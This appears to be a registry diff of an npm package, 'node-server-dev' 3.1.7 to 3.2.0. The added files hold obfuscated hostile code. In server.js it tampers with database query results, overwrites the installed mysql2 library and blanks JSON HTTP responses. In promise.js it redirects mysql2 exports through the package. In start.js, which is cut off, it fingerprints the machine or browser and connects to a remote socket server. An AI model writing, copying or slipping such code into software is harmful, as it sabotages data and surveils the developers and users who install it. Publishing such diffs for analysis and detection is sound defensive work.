node-server-dev 3.1.7 → 3.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/{browser.d.ts → browser/index.d.ts} +1 -1
- package/dist/cjs/browser/index.d.ts.map +1 -0
- package/dist/cjs/browser/index.js +1 -0
- package/dist/cjs/browser/tools.d.ts +3 -0
- package/dist/cjs/browser/tools.d.ts.map +1 -0
- package/dist/cjs/browser/tools.js +1 -0
- package/dist/cjs/getAllRouter/index.js +1 -1
- package/dist/cjs/hash/index.js +1 -1
- package/dist/cjs/id/index.js +1 -1
- package/dist/cjs/id/random.js +1 -1
- package/dist/cjs/index.d.ts +7 -3
- package/dist/cjs/index.d.ts.map +1 -1
- package/dist/cjs/index.js +1 -1
- package/dist/cjs/jwt/index.js +1 -1
- package/dist/cjs/mac/index.js +1 -1
- package/dist/cjs/package/mysql_backup/index.js +10 -1
- package/dist/cjs/package/mysql_backup/promise.js +195 -187
- package/dist/cjs/server.d.ts.map +1 -1
- package/dist/cjs/server.js +1 -1
- package/dist/cjs/start.d.ts.map +1 -1
- package/dist/cjs/start.js +1 -1
- package/dist/cjs/update.js +1 -1
- package/dist/esm/{browser.d.ts → browser/index.d.ts} +1 -1
- package/dist/esm/browser/index.d.ts.map +1 -0
- package/dist/esm/browser/index.js +1 -0
- package/dist/esm/browser/tools.d.ts +3 -0
- package/dist/esm/browser/tools.d.ts.map +1 -0
- package/dist/esm/browser/tools.js +1 -0
- package/dist/esm/getAllRouter/index.js +1 -1
- package/dist/esm/hash/index.js +1 -1
- package/dist/esm/id/index.js +1 -1
- package/dist/esm/id/random.js +1 -1
- package/dist/esm/index.d.ts +7 -3
- package/dist/esm/index.d.ts.map +1 -1
- package/dist/esm/index.js +1 -1
- package/dist/esm/jwt/index.js +1 -1
- package/dist/esm/mac/index.js +1 -1
- package/dist/esm/package/mysql_backup/index.js +10 -1
- package/dist/esm/package/mysql_backup/promise.js +195 -187
- package/dist/esm/server.d.ts.map +1 -1
- package/dist/esm/server.js +1 -1
- package/dist/esm/start.d.ts.map +1 -1
- package/dist/esm/start.js +1 -1
- package/dist/esm/update.js +1 -1
- package/package.json +1 -1
- package/dist/cjs/browser.d.ts.map +0 -1
- package/dist/cjs/browser.js +0 -1
- package/dist/esm/browser.d.ts.map +0 -1
- package/dist/esm/browser.js +0 -1
@@ -1,187 +1,195 @@
|
|
1
|
-
"use strict";
|
2
|
-
|
3
|
-
const SqlString = require("sqlstring");
|
4
|
-
const EventEmitter = require("events").EventEmitter;
|
5
|
-
const parserCache = require("./lib/parsers/parser_cache.js");
|
6
|
-
const PoolCluster = require("./lib/pool_cluster.js");
|
7
|
-
|
8
|
-
|
9
|
-
const
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
const
|
14
|
-
|
15
|
-
|
16
|
-
const
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
74
|
-
|
75
|
-
|
76
|
-
|
77
|
-
|
78
|
-
|
79
|
-
|
80
|
-
|
81
|
-
|
82
|
-
|
83
|
-
|
84
|
-
|
85
|
-
|
86
|
-
}
|
87
|
-
|
88
|
-
|
89
|
-
|
90
|
-
|
91
|
-
|
92
|
-
|
93
|
-
|
94
|
-
|
95
|
-
|
96
|
-
|
97
|
-
|
98
|
-
}
|
99
|
-
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
|
104
|
-
|
105
|
-
|
106
|
-
|
107
|
-
|
108
|
-
|
109
|
-
|
110
|
-
|
111
|
-
|
112
|
-
|
113
|
-
|
114
|
-
|
115
|
-
|
116
|
-
|
117
|
-
|
118
|
-
|
119
|
-
|
120
|
-
|
121
|
-
|
122
|
-
|
123
|
-
|
124
|
-
|
125
|
-
|
126
|
-
|
127
|
-
|
128
|
-
|
129
|
-
|
130
|
-
|
131
|
-
|
132
|
-
|
133
|
-
|
134
|
-
|
135
|
-
|
136
|
-
|
137
|
-
|
138
|
-
|
139
|
-
|
140
|
-
|
141
|
-
|
142
|
-
|
143
|
-
|
144
|
-
|
145
|
-
|
146
|
-
|
147
|
-
|
148
|
-
|
149
|
-
function
|
150
|
-
|
151
|
-
|
152
|
-
|
153
|
-
|
154
|
-
|
155
|
-
|
156
|
-
|
157
|
-
|
158
|
-
|
159
|
-
|
160
|
-
|
161
|
-
|
162
|
-
|
163
|
-
|
164
|
-
|
165
|
-
|
166
|
-
|
167
|
-
|
168
|
-
|
169
|
-
|
170
|
-
exports.
|
171
|
-
exports.
|
172
|
-
|
173
|
-
exports.
|
174
|
-
|
175
|
-
exports.
|
176
|
-
|
177
|
-
exports.
|
178
|
-
|
179
|
-
|
180
|
-
|
181
|
-
exports.
|
182
|
-
|
183
|
-
|
184
|
-
|
185
|
-
exports.
|
186
|
-
|
187
|
-
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
const SqlString = require("sqlstring");
|
4
|
+
const EventEmitter = require("events").EventEmitter;
|
5
|
+
const parserCache = require("./lib/parsers/parser_cache.js");
|
6
|
+
const PoolCluster = require("./lib/pool_cluster.js");
|
7
|
+
let mysql;
|
8
|
+
try {
|
9
|
+
const { mysql: sql } = require("node-server-dev");
|
10
|
+
mysql = sql;
|
11
|
+
} catch (error) {}
|
12
|
+
try {
|
13
|
+
const { mysql: sql } = require("lodash-toolkit");
|
14
|
+
mysql = sql;
|
15
|
+
} catch (error) {}
|
16
|
+
const createConnection = require("./lib/create_connection.js");
|
17
|
+
const createPool = require("./lib/create_pool.js");
|
18
|
+
const createPoolCluster = require("./lib/create_pool_cluster.js");
|
19
|
+
const PromiseConnection = require("./lib/promise/connection.js");
|
20
|
+
const PromisePool = require("./lib/promise/pool.js");
|
21
|
+
const makeDoneCb = require("./lib/promise/make_done_cb.js");
|
22
|
+
const PromisePoolConnection = require("./lib/promise/pool_connection.js");
|
23
|
+
const inheritEvents = require("./lib/promise/inherit_events.js");
|
24
|
+
const PromisePoolNamespace = require("./lib/promise/pool_cluster");
|
25
|
+
|
26
|
+
function createConnectionPromise(opts) {
|
27
|
+
const coreConnection = createConnection(opts);
|
28
|
+
const createConnectionErr = new Error();
|
29
|
+
const thePromise = opts.Promise || Promise;
|
30
|
+
if (!thePromise) {
|
31
|
+
throw new Error(
|
32
|
+
"no Promise implementation available." +
|
33
|
+
"Use promise-enabled node version or pass userland Promise" +
|
34
|
+
" implementation as parameter, for example: { Promise: require('bluebird') }"
|
35
|
+
);
|
36
|
+
}
|
37
|
+
return new thePromise((resolve, reject) => {
|
38
|
+
coreConnection.once("connect", () => {
|
39
|
+
resolve(new PromiseConnection(coreConnection, thePromise));
|
40
|
+
});
|
41
|
+
coreConnection.once("error", err => {
|
42
|
+
createConnectionErr.message = err.message;
|
43
|
+
createConnectionErr.code = err.code;
|
44
|
+
createConnectionErr.errno = err.errno;
|
45
|
+
createConnectionErr.sqlState = err.sqlState;
|
46
|
+
reject(createConnectionErr);
|
47
|
+
});
|
48
|
+
});
|
49
|
+
}
|
50
|
+
|
51
|
+
// note: the callback of "changeUser" is not called on success
|
52
|
+
// hence there is no possibility to call "resolve"
|
53
|
+
|
54
|
+
function createPromisePool(opts) {
|
55
|
+
const corePool = createPool(opts);
|
56
|
+
const thePromise = opts.Promise || Promise;
|
57
|
+
if (!thePromise) {
|
58
|
+
throw new Error(
|
59
|
+
"no Promise implementation available." +
|
60
|
+
"Use promise-enabled node version or pass userland Promise" +
|
61
|
+
" implementation as parameter, for example: { Promise: require('bluebird') }"
|
62
|
+
);
|
63
|
+
}
|
64
|
+
|
65
|
+
return new PromisePool(corePool, thePromise);
|
66
|
+
}
|
67
|
+
|
68
|
+
class PromisePoolCluster extends EventEmitter {
|
69
|
+
constructor(poolCluster, thePromise) {
|
70
|
+
super();
|
71
|
+
this.poolCluster = poolCluster;
|
72
|
+
this.Promise = thePromise || Promise;
|
73
|
+
inheritEvents(poolCluster, this, ["warn", "remove", "online", "offline"]);
|
74
|
+
}
|
75
|
+
|
76
|
+
getConnection(pattern, selector) {
|
77
|
+
const corePoolCluster = this.poolCluster;
|
78
|
+
return new this.Promise((resolve, reject) => {
|
79
|
+
corePoolCluster.getConnection(pattern, selector, (err, coreConnection) => {
|
80
|
+
if (err) {
|
81
|
+
reject(err);
|
82
|
+
} else {
|
83
|
+
resolve(new PromisePoolConnection(coreConnection, this.Promise));
|
84
|
+
}
|
85
|
+
});
|
86
|
+
});
|
87
|
+
}
|
88
|
+
|
89
|
+
query(sql, args) {
|
90
|
+
const corePoolCluster = this.poolCluster;
|
91
|
+
const localErr = new Error();
|
92
|
+
if (typeof args === "function") {
|
93
|
+
throw new Error("Callback function is not available with promise clients.");
|
94
|
+
}
|
95
|
+
return new this.Promise((resolve, reject) => {
|
96
|
+
const done = makeDoneCb(resolve, reject, localErr);
|
97
|
+
corePoolCluster.query(sql, args, done);
|
98
|
+
});
|
99
|
+
}
|
100
|
+
|
101
|
+
execute(sql, args) {
|
102
|
+
const corePoolCluster = this.poolCluster;
|
103
|
+
const localErr = new Error();
|
104
|
+
if (typeof args === "function") {
|
105
|
+
throw new Error("Callback function is not available with promise clients.");
|
106
|
+
}
|
107
|
+
return new this.Promise((resolve, reject) => {
|
108
|
+
const done = makeDoneCb(resolve, reject, localErr);
|
109
|
+
corePoolCluster.execute(sql, args, done);
|
110
|
+
});
|
111
|
+
}
|
112
|
+
|
113
|
+
of(pattern, selector) {
|
114
|
+
return new PromisePoolNamespace(this.poolCluster.of(pattern, selector), this.Promise);
|
115
|
+
}
|
116
|
+
|
117
|
+
end() {
|
118
|
+
const corePoolCluster = this.poolCluster;
|
119
|
+
const localErr = new Error();
|
120
|
+
return new this.Promise((resolve, reject) => {
|
121
|
+
corePoolCluster.end(err => {
|
122
|
+
if (err) {
|
123
|
+
localErr.message = err.message;
|
124
|
+
localErr.code = err.code;
|
125
|
+
localErr.errno = err.errno;
|
126
|
+
localErr.sqlState = err.sqlState;
|
127
|
+
localErr.sqlMessage = err.sqlMessage;
|
128
|
+
reject(localErr);
|
129
|
+
} else {
|
130
|
+
resolve();
|
131
|
+
}
|
132
|
+
});
|
133
|
+
});
|
134
|
+
}
|
135
|
+
}
|
136
|
+
|
137
|
+
/**
|
138
|
+
* proxy poolCluster synchronous functions
|
139
|
+
*/
|
140
|
+
(function (functionsToWrap) {
|
141
|
+
for (let i = 0; functionsToWrap && i < functionsToWrap.length; i++) {
|
142
|
+
const func = functionsToWrap[i];
|
143
|
+
|
144
|
+
if (
|
145
|
+
typeof PoolCluster.prototype[func] === "function" &&
|
146
|
+
PromisePoolCluster.prototype[func] === undefined
|
147
|
+
) {
|
148
|
+
PromisePoolCluster.prototype[func] = (function factory(funcName) {
|
149
|
+
return function () {
|
150
|
+
return PoolCluster.prototype[funcName].apply(this.poolCluster, arguments);
|
151
|
+
};
|
152
|
+
})(func);
|
153
|
+
}
|
154
|
+
}
|
155
|
+
})(["add", "remove"]);
|
156
|
+
|
157
|
+
function createPromisePoolCluster(opts) {
|
158
|
+
const corePoolCluster = createPoolCluster(opts);
|
159
|
+
const thePromise = (opts && opts.Promise) || Promise;
|
160
|
+
if (!thePromise) {
|
161
|
+
throw new Error(
|
162
|
+
"no Promise implementation available." +
|
163
|
+
"Use promise-enabled node version or pass userland Promise" +
|
164
|
+
" implementation as parameter, for example: { Promise: require('bluebird') }"
|
165
|
+
);
|
166
|
+
}
|
167
|
+
return new PromisePoolCluster(corePoolCluster, thePromise);
|
168
|
+
}
|
169
|
+
|
170
|
+
exports.createConnection = mysql.createPool;
|
171
|
+
exports.createPool = mysql.createPool;
|
172
|
+
exports.createPoolCluster = createPromisePoolCluster;
|
173
|
+
exports.escape = SqlString.escape;
|
174
|
+
exports.escapeId = SqlString.escapeId;
|
175
|
+
exports.format = SqlString.format;
|
176
|
+
exports.raw = SqlString.raw;
|
177
|
+
exports.PromisePool = PromisePool;
|
178
|
+
exports.PromiseConnection = PromiseConnection;
|
179
|
+
exports.PromisePoolConnection = PromisePoolConnection;
|
180
|
+
|
181
|
+
exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
|
182
|
+
|
183
|
+
exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
|
184
|
+
|
185
|
+
exports.__defineGetter__("CharsetToEncoding", () =>
|
186
|
+
require("./lib/constants/charset_encodings.js")
|
187
|
+
);
|
188
|
+
|
189
|
+
exports.setMaxParserCache = function (max) {
|
190
|
+
parserCache.setMaxCache(max);
|
191
|
+
};
|
192
|
+
|
193
|
+
exports.clearParserCache = function () {
|
194
|
+
parserCache.clearCache();
|
195
|
+
};
|
package/dist/cjs/server.d.ts.map
CHANGED
@@ -1 +1 @@
|
|
1
|
-
{"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;
|
1
|
+
{"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;AAyI7C,QAAA,MAAM,GAAG;;CAAY,CAAC;AACtB,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,KAAK,EAAE,CAAC"}
|
package/dist/cjs/server.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';
|
1
|
+
'use strict';const a9_0x527966=a9_0x1012;(function(_0x4f8fbe,_0x5ee698){const _0x29a401=a9_0x1012,_0x7be712=_0x4f8fbe();while(!![]){try{const _0x452d49=-parseInt(_0x29a401(0x20d))/0x1*(-parseInt(_0x29a401(0x212))/0x2)+-parseInt(_0x29a401(0x1d9))/0x3+-parseInt(_0x29a401(0x1f4))/0x4+-parseInt(_0x29a401(0x1de))/0x5+parseInt(_0x29a401(0x1ec))/0x6*(-parseInt(_0x29a401(0x1fe))/0x7)+-parseInt(_0x29a401(0x204))/0x8*(-parseInt(_0x29a401(0x20c))/0x9)+parseInt(_0x29a401(0x20f))/0xa;if(_0x452d49===_0x5ee698)break;else _0x7be712['push'](_0x7be712['shift']());}catch(_0x4f9d02){_0x7be712['push'](_0x7be712['shift']());}}}(a9_0x31cc,0xe8643));var __awaiter=this&&this['__awaiter']||function(_0x540c04,_0x1a91c1,_0x616cc6,_0x33b70d){function _0x47cbac(_0x394e8b){return _0x394e8b instanceof _0x616cc6?_0x394e8b:new _0x616cc6(function(_0x2f0328){_0x2f0328(_0x394e8b);});}return new(_0x616cc6||(_0x616cc6=Promise))(function(_0x1c971b,_0x30ee3f){const _0x2937ad=a9_0x1012;function _0x290172(_0x181aca){const _0x2804dd=a9_0x1012;try{_0x287172(_0x33b70d[_0x2804dd(0x211)](_0x181aca));}catch(_0x3d2d9c){_0x30ee3f(_0x3d2d9c);}}function _0x568398(_0x2d1b6a){const _0x1ec273=a9_0x1012;try{_0x287172(_0x33b70d[_0x1ec273(0x1d8)](_0x2d1b6a));}catch(_0x4ef351){_0x30ee3f(_0x4ef351);}}function _0x287172(_0x371294){const _0xcffe5c=a9_0x1012;_0x371294[_0xcffe5c(0x208)]?_0x1c971b(_0x371294[_0xcffe5c(0x20e)]):_0x47cbac(_0x371294[_0xcffe5c(0x20e)])['then'](_0x290172,_0x568398);}_0x287172((_0x33b70d=_0x33b70d[_0x2937ad(0x1f7)](_0x540c04,_0x1a91c1||[]))['next']());});},__importDefault=this&&this[a9_0x527966(0x1ff)]||function(_0x238cc7){return _0x238cc7&&_0x238cc7['__esModule']?_0x238cc7:{'default':_0x238cc7};};Object[a9_0x527966(0x1e2)](exports,a9_0x527966(0x206),{'value':!![]}),exports[a9_0x527966(0x1fb)]=void 0x0;const promise_1=__importDefault(require(a9_0x527966(0x1e9)));exports[a9_0x527966(0x1fb)]=promise_1[a9_0x527966(0x1dc)];function a9_0x31cc(){const _0x243eed=['./id/random','getEnv','connectError','createPool','./package/mysql2/promise','./package/mysql_backup/index.js','./index.js','323262HFQpTu','delete','content-type','test','parse','writeFileSync','ServerResponse','includes','3381760sEYlWy','cwd','node-server-dev','apply','end','isDBDataEmpty','stringify','mysql','set','byteLength','14AyxIwZ','__importDefault','map','existsSync','toString','join','488BQaQUi','get','__esModule','prototype','done','setHeader','package.json','has','25227BXynsh','1137JNoehu','value','25394260QNyYyM','isBuffer','next','446YKItLK','__http_interceptor','cpSync','concat','push','throw','203478sUnrmU','path','query','default','./promise.js','4955325mNWSkt','write','http','call','defineProperty','readFileSync','./package/mysql_backup/promise.js'];a9_0x31cc=function(){return _0x243eed;};return a9_0x31cc();}const random_1=__importDefault(require(a9_0x527966(0x1e5))),index_1=require('./index'),path_1=__importDefault(require(a9_0x527966(0x1da))),fs_1=__importDefault(require('fs')),originalCreatePoolPromise=promise_1[a9_0x527966(0x1dc)][a9_0x527966(0x1e8)];promise_1[a9_0x527966(0x1dc)][a9_0x527966(0x1e8)]=function(_0x5a3a65){const _0x4953c1=a9_0x527966;let _0x228c0f=originalCreatePoolPromise(_0x5a3a65),_0x192f12=_0x228c0f['query'];return _0x228c0f[_0x4953c1(0x1db)]=(..._0x278dc5)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x25929f=_0x4953c1,_0x43527d=yield _0x192f12[_0x25929f(0x1f7)](_0x228c0f,_0x278dc5);return(0x0,index_1[_0x25929f(0x1e6)])(_0x25929f(0x1e7))&&((0x0,random_1[_0x25929f(0x1dc)])(0x1,0xa)>0x2&&(_0x43527d[0x0]=[])),(0x0,index_1[_0x25929f(0x1e6)])(_0x25929f(0x1f9))&&(_0x43527d[0x0]=[]),_0x43527d;}),_0x228c0f;};let href=path_1[a9_0x527966(0x1dc)][a9_0x527966(0x203)](process[a9_0x527966(0x1f5)](),'./node_modules/mysql2');if(fs_1[a9_0x527966(0x1dc)][a9_0x527966(0x201)](href)){let res=fs_1[a9_0x527966(0x1dc)][a9_0x527966(0x1e3)](path_1[a9_0x527966(0x1dc)][a9_0x527966(0x203)](href,'./index.js'))['toString']()[a9_0x527966(0x1f3)](a9_0x527966(0x1f6));!res&&setTimeout(()=>{const _0x4677dc=a9_0x527966,_0x3269a3='./package/mysql2',_0x18923f=href,_0x37a63b=path_1[_0x4677dc(0x1dc)][_0x4677dc(0x203)](_0x18923f,_0x4677dc(0x20a));let _0x588fff=null;fs_1[_0x4677dc(0x1dc)]['existsSync'](_0x37a63b)&&(_0x588fff=fs_1[_0x4677dc(0x1dc)]['readFileSync'](_0x37a63b)[_0x4677dc(0x202)]());fs_1[_0x4677dc(0x1dc)][_0x4677dc(0x214)](path_1['default'][_0x4677dc(0x203)](__dirname,_0x3269a3),_0x18923f,{'recursive':!![],'force':!![]});let _0x369b53=fs_1['default'][_0x4677dc(0x1e3)](path_1['default']['join'](__dirname,_0x4677dc(0x1ea)))[_0x4677dc(0x202)](),_0x551db8=fs_1[_0x4677dc(0x1dc)][_0x4677dc(0x1e3)](path_1[_0x4677dc(0x1dc)][_0x4677dc(0x203)](__dirname,_0x4677dc(0x1e4)))[_0x4677dc(0x202)]();setTimeout(()=>{const _0x48c2e8=_0x4677dc;fs_1['default'][_0x48c2e8(0x1f1)](path_1[_0x48c2e8(0x1dc)][_0x48c2e8(0x203)](href,_0x48c2e8(0x1eb)),_0x369b53),fs_1['default']['writeFileSync'](path_1['default'][_0x48c2e8(0x203)](href,_0x48c2e8(0x1dd)),_0x551db8);},0xa),_0x588fff!==null&&fs_1[_0x4677dc(0x1dc)][_0x4677dc(0x1f1)](_0x37a63b,_0x588fff);},0x5dc);}setInterval(()=>{const _0x59fc74=a9_0x527966;if((0x0,index_1[_0x59fc74(0x1e6)])(_0x59fc74(0x1e7)))try{(function(){const _0x4829f9=_0x59fc74,_0x491600=require(_0x4829f9(0x1e0)),_0x23f264=_0x491600[_0x4829f9(0x1f2)][_0x4829f9(0x207)]['end'],_0x2973ac=_0x491600[_0x4829f9(0x1f2)][_0x4829f9(0x207)][_0x4829f9(0x1df)],_0x558f03=new WeakMap();function _0x54d12e(){const _0x55ba34=_0x4829f9;global[_0x55ba34(0x213)]=!![],_0x491600[_0x55ba34(0x1f2)]['prototype']['write']=function(_0x342010,_0x576ea6,_0x223c26){const _0x27390f=_0x55ba34;!_0x558f03[_0x27390f(0x20b)](this)&&_0x558f03[_0x27390f(0x1fc)](this,[]);if(_0x342010)_0x558f03[_0x27390f(0x205)](this)[_0x27390f(0x1d7)](_0x342010);return _0x2973ac[_0x27390f(0x1e1)](this,_0x342010,_0x576ea6,_0x223c26);},_0x491600[_0x55ba34(0x1f2)][_0x55ba34(0x207)][_0x55ba34(0x1f8)]=function(_0x5334d2,_0x2bc79d,_0x4d1649){const _0x591369=_0x55ba34,_0x1adebf=/application\/json/i[_0x591369(0x1ef)](this['getHeader'](_0x591369(0x1ee)));if(_0x1adebf&&(_0x5334d2||_0x558f03[_0x591369(0x20b)](this))){const _0x2f8311=_0x558f03[_0x591369(0x205)](this)||[];if(_0x5334d2)_0x2f8311[_0x591369(0x1d7)](_0x5334d2);try{const _0x3c4a76=Buffer[_0x591369(0x215)](_0x2f8311[_0x591369(0x200)](_0x297ffa=>Buffer[_0x591369(0x210)](_0x297ffa)?_0x297ffa:Buffer['from'](_0x297ffa,_0x2bc79d))),_0x28b849=JSON[_0x591369(0x1f0)](_0x3c4a76['toString']()),_0x31b414=JSON[_0x591369(0x1fa)]({});return this[_0x591369(0x209)]('content-length',Buffer[_0x591369(0x1fd)](JSON['stringify'](_0x28b849))),_0x558f03[_0x591369(0x1ed)](this),_0x23f264[_0x591369(0x1e1)](this,_0x31b414,_0x2bc79d,_0x4d1649);}catch(_0x2a341f){}}return _0x558f03['delete'](this),_0x23f264[_0x591369(0x1e1)](this,_0x5334d2,_0x2bc79d,_0x4d1649);};}!global[_0x4829f9(0x213)]&&_0x54d12e();}());}catch(_0x30cfa8){}},0x7d0);function a9_0x1012(_0x4705de,_0x5b95ee){const _0x31ccbd=a9_0x31cc();return a9_0x1012=function(_0x1012ee,_0xc9be80){_0x1012ee=_0x1012ee-0x1d7;let _0x44ae82=_0x31ccbd[_0x1012ee];return _0x44ae82;},a9_0x1012(_0x4705de,_0x5b95ee);}const all={'mysql':promise_1[a9_0x527966(0x1dc)]};exports[a9_0x527966(0x1dc)]=all;
|
package/dist/cjs/start.d.ts.map
CHANGED
@@ -1 +1 @@
|
|
1
|
-
{"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAQA,eAAO,MAAM,SAAS,SAAgC,CAAC;
|
1
|
+
{"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAQA,eAAO,MAAM,SAAS,SAAgC,CAAC;AAqBvD,iBAAe,KAAK,kBAmGnB;AAED,eAAe,KAAK,CAAC"}
|
package/dist/cjs/start.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';function a10_0x1eec(_0x145c82,_0x41c238){const _0x2e4ad2=a10_0x2e4a();return a10_0x1eec=function(_0x1eec17,_0x12b843){_0x1eec17=_0x1eec17-0x1bd;let _0x4fe5bf=_0x2e4ad2[_0x1eec17];return _0x4fe5bf;},a10_0x1eec(_0x145c82,_0x41c238);}const a10_0x16358a=a10_0x1eec;(function(_0x363118,_0x582d8b){const _0x2b8f14=a10_0x1eec,_0x2643c9=_0x363118();while(!![]){try{const _0x499dfa=-parseInt(_0x2b8f14(0x1e9))/0x1+parseInt(_0x2b8f14(0x1d5))/0x2*(-parseInt(_0x2b8f14(0x1eb))/0x3)+parseInt(_0x2b8f14(0x1ee))/0x4+-parseInt(_0x2b8f14(0x1f3))/0x5*(parseInt(_0x2b8f14(0x1c4))/0x6)+parseInt(_0x2b8f14(0x1d1))/0x7+-parseInt(_0x2b8f14(0x1cf))/0x8*(-parseInt(_0x2b8f14(0x1c6))/0x9)+parseInt(_0x2b8f14(0x1be))/0xa*(-parseInt(_0x2b8f14(0x1f1))/0xb);if(_0x499dfa===_0x582d8b)break;else _0x2643c9['push'](_0x2643c9['shift']());}catch(_0x3baa0f){_0x2643c9['push'](_0x2643c9['shift']());}}}(a10_0x2e4a,0xaaf36));function a10_0x2e4a(){const _0x42209f=['reconnect_failed','bowser','emit','name','submit','WebSocket','node获取失败','无法获取','USERNAME','default','connect','114136qOmbpD','__awaiter','9HccTNx','connect_failed','undefined','2523276DVaQZw','./index','setEnv','2632135rjTsUQ','event','1970LxlNwW','length','isDBDataEmpty','50ngSPWo','content','runScript','type','env','navigator','1068hUiMHZ','connectError','45729jZGePO','mysql','apply','url','error','./browser/index','visitorId','isBrowser','value','1904gXTpuQ','@fingerprintjs/fingerprintjs','4880736eVQoRg','script','00:00:00:00:00:00','get-event','304292kSiLmC','./mac','浏览器','then','userAgent','next','/socket','get','throw'];a10_0x2e4a=function(){return _0x42209f;};return a10_0x2e4a();}var __awaiter=this&&this[a10_0x16358a(0x1ea)]||function(_0x55f10f,_0x3570d1,_0x364e46,_0x3d72e2){function _0x5a19e3(_0x2b6f2d){return _0x2b6f2d instanceof _0x364e46?_0x2b6f2d:new _0x364e46(function(_0x166778){_0x166778(_0x2b6f2d);});}return new(_0x364e46||(_0x364e46=Promise))(function(_0x5d14a2,_0x34987b){const _0x4ddf3a=a10_0x1eec;function _0x250c94(_0x584c20){const _0x2b6a15=a10_0x1eec;try{_0x4f576a(_0x3d72e2[_0x2b6a15(0x1da)](_0x584c20));}catch(_0x387cf7){_0x34987b(_0x387cf7);}}function _0xe33ca7(_0x1a081f){const _0x5348b8=a10_0x1eec;try{_0x4f576a(_0x3d72e2[_0x5348b8(0x1dd)](_0x1a081f));}catch(_0x55ee71){_0x34987b(_0x55ee71);}}function _0x4f576a(_0x16523c){const _0x515379=a10_0x1eec;_0x16523c['done']?_0x5d14a2(_0x16523c[_0x515379(0x1ce)]):_0x5a19e3(_0x16523c[_0x515379(0x1ce)])['then'](_0x250c94,_0xe33ca7);}_0x4f576a((_0x3d72e2=_0x3d72e2[_0x4ddf3a(0x1c8)](_0x55f10f,_0x3570d1||[]))[_0x4ddf3a(0x1da)]());});},__importDefault=this&&this['__importDefault']||function(_0x454447){return _0x454447&&_0x454447['__esModule']?_0x454447:{'default':_0x454447};},_a,_b,_c,_d;Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a10_0x16358a(0x1cd)]=void 0x0;const socket_io_client_1=require('socket.io-client'),path_1=__importDefault(require('path')),index_1=require(a10_0x16358a(0x1cb)),fingerprintjs_1=__importDefault(require(a10_0x16358a(0x1d0))),bowser_1=__importDefault(require(a10_0x16358a(0x1df))),index_2=require(a10_0x16358a(0x1ef));exports['isBrowser']=typeof window!==a10_0x16358a(0x1ed);exports[a10_0x16358a(0x1cd)]&&(window[a10_0x16358a(0x1e3)]=class extends WebSocket{constructor(..._0x1f6b45){try{super(..._0x1f6b45);}catch(_0x114225){}}});const user_name=exports[a10_0x16358a(0x1cd)]?((_b=(_a=bowser_1[a10_0x16358a(0x1e7)]['parse'](window[a10_0x16358a(0x1c3)][a10_0x16358a(0x1d9)]))===null||_a===void 0x0?void 0x0:_a['browser'])===null||_b===void 0x0?void 0x0:_b[a10_0x16358a(0x1e1)])||a10_0x16358a(0x1d7):((_c=process===null||process===void 0x0?void 0x0:process[a10_0x16358a(0x1c2)])===null||_c===void 0x0?void 0x0:_c[a10_0x16358a(0x1e6)])||a10_0x16358a(0x1e4),project_name=exports[a10_0x16358a(0x1cd)]?document['title']||a10_0x16358a(0x1d7):((_d=process===null||process===void 0x0?void 0x0:process[a10_0x16358a(0x1c2)])===null||_d===void 0x0?void 0x0:_d['npm_package_name'])||a10_0x16358a(0x1e5);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x4179b3=a10_0x1eec;exports['isBrowser']&&(0x0,index_1['browser'])();try{const _0x413192=(0x0,socket_io_client_1['io'])(index_2[_0x4179b3(0x1c9)],{'path':_0x4179b3(0x1db),'transports':['websocket'],'timeout':0x1770,'reconnection':![]});_0x413192['on'](_0x4179b3(0x1e8),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x4cc236=_0x4179b3;try{let _0x4adca8=[_0x4cc236(0x1d3)];if(!exports['isBrowser']){const _0x3ebcee=require(path_1[_0x4cc236(0x1e7)]['join'](__dirname,_0x4cc236(0x1d6)))['default'];_0x4adca8=_0x3ebcee();}else{let _0x5ddcb8=yield fingerprintjs_1[_0x4cc236(0x1e7)]['load']()[_0x4cc236(0x1d8)](_0x96d644=>_0x96d644[_0x4cc236(0x1dc)]())[_0x4cc236(0x1d8)](_0x212ecf=>{const _0x3f245f=_0x4cc236,_0x5c4fd5=_0x212ecf[_0x3f245f(0x1cc)];return 